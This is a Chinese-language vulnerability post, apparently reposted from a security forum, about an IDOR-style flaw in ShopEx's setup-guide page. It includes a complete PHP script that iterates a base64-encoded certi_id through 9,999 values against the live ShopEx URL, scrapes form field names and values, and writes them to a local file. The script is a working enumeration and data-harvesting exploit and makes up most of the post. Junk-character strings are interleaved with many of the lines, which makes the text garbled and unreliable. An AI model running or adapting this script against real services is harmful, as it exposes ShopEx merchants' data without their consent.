ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
( {4 r/ F+ O8 D' W+ |# Y; S' ?6 ^详细说明：
7 k2 R% z. k$ {3 D# s) {% G3 A3 P问题出现在shopex 网店使用向导页面
1 p. t9 t+ s$ N
1 U1 w) K' {/ H8 ^: J

7 Q* ^1 L3 ?; j! O) ~+ zhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
1 R, }+ F) v( r, F4 c) V# `: A1 e

" Z: L" M& m2 ^& x. a1 l/ I
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
7 O2 [5 ~4 [/ I0 G6 l: j( Q/ j- Z
9 R5 }( m$ `  f; W0 D1 Y
& l" @0 Q) A; ]* {
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ i) M6 k' N6 l7 u
. M# T. _/ b2 W$ G8 s; z+ _) v* z
/ }+ `! x7 Y4 k: q0 m
<?php
* P% j1 [+ q# W
                for ($i=1; $i < 10000; $i++) { //遍历

. U5 p% z$ N$ F8 f% L+ A( g" `/ ^                        ShowshopExD($i);

) T8 @. n6 G8 X4 q$ \                }
! r2 T# R: Z. A1 ]% T
                function ShowshopExD($cid) {
4 l0 u# m3 g6 `3 h% T: \
4 N  x/ B  |1 Y; E1 |0 ]0 W/ ^                $url='http://guide.ecos.shopex.cn/step2.php';
/ o" ~% ~, ^1 `* m& }
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
- }( O9 a; Q4 S( B% @
' z; Y& e+ m1 Z        $url = $url.'?refer='.$refer;

( u% R9 P7 Z: ]. {& ?' d1 P        $ch = curl_init($url);

3 m) P' O# Y4 U! h/ |        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
0 i: j1 ]6 D' C
  A) U/ L. C: n- g  k1 W        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
% Y# K7 C$ f! @1 O# F
        $result = curl_exec($ch);
) e0 K8 [" J+ Y6 e( h; f' k5 y8 T
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

$ D$ ?) G( M: x+ A: H. f9 Q        if(strpos($result,$refer))

        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
. ?9 _; j- i3 L5 Z
5 o; C! l6 c0 h/ X- r8 t( E                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
) a% o. |1 J2 ^5 z2 ]2 {
                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
& u. d4 @6 P, Y$ q
                        echo $res[1][0].':'.$res[3][0]."\r\n";
! N  l4 I  L  v7 f
: @; T* C* N! m                        $col =$res[1][0].':'.$res[3][0]."\r\n";

# f  s3 h2 E) A" o6 K                        fwrite($fp, $col, strlen($col));

6 X$ {7 {9 D  \) J4 i; h                }
6 Q6 ^3 |: F  r2 Q  @& o5 Q
6 P5 q6 C3 E1 E! C( v: s                echo '--------------------------------'."\r\n";

                fclose($fp);
% U  L# J; @8 a+ z; o+ p$ e' _& `# M
        }

        flush();
3 m5 v$ ^! p: R1 j
        curl_close($ch);
: D0 Y% r' K7 k6 ?" s9 O/ {
                }

?>
  r# B3 d  ]- t# H9 L漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
; V4 z/ p/ {# U0 B( n